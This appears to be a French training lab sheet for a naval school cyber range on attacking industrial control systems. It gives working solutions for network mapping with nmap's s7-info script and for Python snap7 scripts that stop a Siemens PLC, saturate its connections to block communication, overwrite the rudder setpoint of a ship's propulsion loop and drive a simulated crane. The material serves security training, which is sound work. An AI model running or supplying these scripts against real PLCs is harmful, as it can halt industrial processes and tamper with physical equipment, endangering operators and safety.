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Lab 2 : Systèmes industriels

Cette partie sera réalisé dans le cyber range de l'école navale

Cartographie de la plateforme

Dans cette section, nous allons cartographier la plateforme. Les switches Hirschmann présents dans les baies ont le port 10 configuré en mode miroir. Vous pouvez donc vous connecter sur l’un des switches.

Lab2.1

Identifier le réseau IP pour se connecter

A l'aide de tcpdump ou Wireshark, identifiez les plages d’adresses IP utilisées.

Une solution possible 
sudo tcpdump -i enp0s3 -n -l 2>/dev/null | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}'"

Lab2.2

Cartographier la plateforme

À l’aide de l’outil nmap, scannez l’ensemble des boucles.

Une solution possible 
sudo nmap -sn 192.168.100.0/20

Lab2.3

Identifier les automates

Utilisez le script nmap dédié pour identifier les modèles d’automates.

Une solution possible 
sudo nmap -p 80,102 --script s7-info 192.168.100.0/20

Attaques sur PLC

Choisissez un automate sur la plateforme pour réaliser les exercices suivants :

Lab2.4

Arrêter les PLC

Créez un programme Python à l'aide de la librairie python-snap7.Le programme devra se connecter à un automate puis le passer en mode STOP.

Une solution possible 
import snap7
client = snap7.client.Client()
client.connect("192.168.101.11", 0, 2, 102)
client.plc_stop()

Lab2.5

Saturer les PLC

Les PLC Siemens ont une limite du nombre de connexions simultanées. Pour la gamme s7-300, cette limite varie de 8 pour le S7-314 à 32 pour le S7-319

Réaliser en python un programme pour saturé le nombre de connexion afin de bloquer toutes communications

Une solution possible 
import snap7
import time

IP        = "192.168.101.21"
RACK      = 0
SLOT      = 2
PORT      = 102
NB_TRY    = 500          # nb max de tentatives
TARGET_OK = 34          # nb de connexions qu'on veut réussir
RETRY_SEC = 3           # délai entre deux tentatives
ok_clients = []         # liste des connexions réellement ouvertes

for attempt in range(1, NB_TRY + 1):
    if len(ok_clients) >= TARGET_OK:
        break
    try:
        c = snap7.client.Client()
        c.connect(IP, RACK, SLOT, PORT)
        ok_clients.append(c)
        print(f"tentative {attempt:02d}  -> OK   (total ouvertes : {len(ok_clients)})")
    except Exception as e:
        print(f"tentative {attempt:02d}  -> ERREUR : {e}")
        time.sleep(RETRY_SEC)

print(f"\n{len(ok_clients)} connexions maintenues. Ctrl-C pour arrêter.\n")

try:
    while True:
        for i, c in enumerate(ok_clients):
            data = c.db_read(1, 0, 4)
            print(f"conn {i}  -> {data}")
        time.sleep(2)
except KeyboardInterrupt:
    pass

Identification et modifation des variables de PLC

Dans cet exercice, vous disposez d’une capture d’écran d’une IHM et d'une capture de réseau entre les boucles d'automates et la passerelle.

Lab2.6

liaisons IHM PLC

Analysez le fichier PCAP et déterminez les liaisons entre les IHM et les PLC."

Une solution possible

Sous wireshark : Statistiques -> Conversations :
ihm 192.168.150.1 <-> plc 192.168.101.11;plc 192.168.101.21;plc 192.168.101.31
ihm 192.168.150.2 <-> plc 192.168.102.11;plc 192.168.102.21;plc 192.168.102.31;plc 192.168.102.41
ihm 192.168.150.3 <-> plc 192.168.103.31;plc 192.168.103.41
ihm 192.168.150.4 <-> plc 192.168.104.21;plc 192.168.104.31;plc 192.168.104.41

Lab2.7

Recherche des adresses de variables

On sait que la boucle 1 sert à la propulsion. Quelles sont les variables liées à la puissance moteur et au gouvernail ?

Une solution possible

wireshark1 wireshark2 wireshark3 -Mb704 pour le gouvernail
-Mb700 et Mb702 pour la puissance des moteurs

Lab2.8

piloter le bateau

Maintenant que l’adresse contenant la consigne d’angle du gouvernail est connue, créez un programme Python pour la modifier.

Une solution possible 
from snap7.type import Areas
from snap7.util import set_int

client = snap7.client.Client()
client.connect("192.168.101.11", 0, 2)
data = bytearray(2)
set_int(data, 0, 30)
client.mb_write(704, 2, data)

Pilotage d'une grue

Cet exercice simule un PLC Siemens pilotant une grue.
L’IHM est accessible ici http://127.0.0.1:8080
le plc répond à l'adresse 127.0.0.1 port 102.
le programmme Ladder du PLC est diponible: PDF

Lab2.9

Piloter la grue

L’exercice consiste à déposer le container sur le bateau. Les étapes sont :
- allumer la grue,
- accrocher le container,
- lever le container,
- le déplacer vers la gauche,
- le descendre.

Une solution possible 
import snap7
import time
# connection au plc
client = snap7.client.Client()
client.connect("127.0.0.1", 0, 0, 102)
# mise en marche M0.1
client.get_connected()
m = client.mb_read(0,1)
snap7.util.set_bool(m,0,1,True)
client.mb_write(0,1,m)
# verrouillage conteneur M2.4
m = client.mb_read(2,1)
snap7.util.set_bool(m,0,4,True)
client.mb_write(2,1,m)
# monter du conteneur M2.0
m = client.mb_read(2,1)
snap7.util.set_bool(m,0,0,True)
client.mb_write(2,1,m)
# lecture du capteur haut E3.0
while not snap7.util.get_bool(client.eb_read(3,1),0,0):
    time.sleep(1)
# déplacement du chariot vers l'avant
m = client.mb_read(2,1)
snap7.util.set_bool(m,0,0,False)
snap7.util.set_bool(m,0,2,True)
client.mb_write(2,1,m)
# lecture du capteur avant du chariot E3.2
while not snap7.util.get_bool(client.eb_read(3,1),0,2):
    time.sleep(1)
# descente du conteneur    
m = client.mb_read(2,1)
snap7.util.set_bool(m,0,1,True)
client.mb_write(2,1,m)